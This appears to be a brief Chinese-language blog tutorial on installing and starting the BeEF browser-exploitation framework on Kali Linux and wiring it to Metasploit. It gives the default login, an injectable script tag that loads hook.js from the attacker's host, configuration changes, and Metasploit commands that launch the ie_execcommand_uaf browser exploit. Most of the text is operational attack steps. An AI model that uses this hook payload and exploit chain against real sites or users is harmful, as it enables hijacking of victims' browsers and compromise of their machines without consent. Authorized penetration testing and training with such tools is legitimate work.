Kali linux 系统默认未安装beef，需要自行安装

1
2
apt-get update
apt-get  install  beef-xss

启动/usr/share/beef-xss

1
2
cd  /usr/share/beef-xss
. /beef

账号密码

127.0.0.1：3000/ui/pannel

beef/beef

  嵌入代码

<script src="Ip:3000/hook.js">

与Metasploit联动

Beef配置文件

/usr/share/beef-xss/config.yaml  

1
2
   metasploit:
enable :  false

改成

1
2
metasploit:
enable :  true


vim /usr/share/beef-xss/extensions/metasploit/config.yaml

原：

1
{os:  'custom' , path:  '' }

修改成

1
{os:  'custom' , path:  '/usr/share/metasploit-framework/' }

修改 host callback_host两参数，改为beef主机IP


重启postgresq、metasploit、服务

1
service postgresql restart & service metasploit restart

msfconsole  #启动Metasploit
1
load msgrpc ServerHost=IP Pass=abc123

MSF设置：
use exploit /windows/browser/ie_execcommand_uaf
show options
set  srvhost IP
exploit /run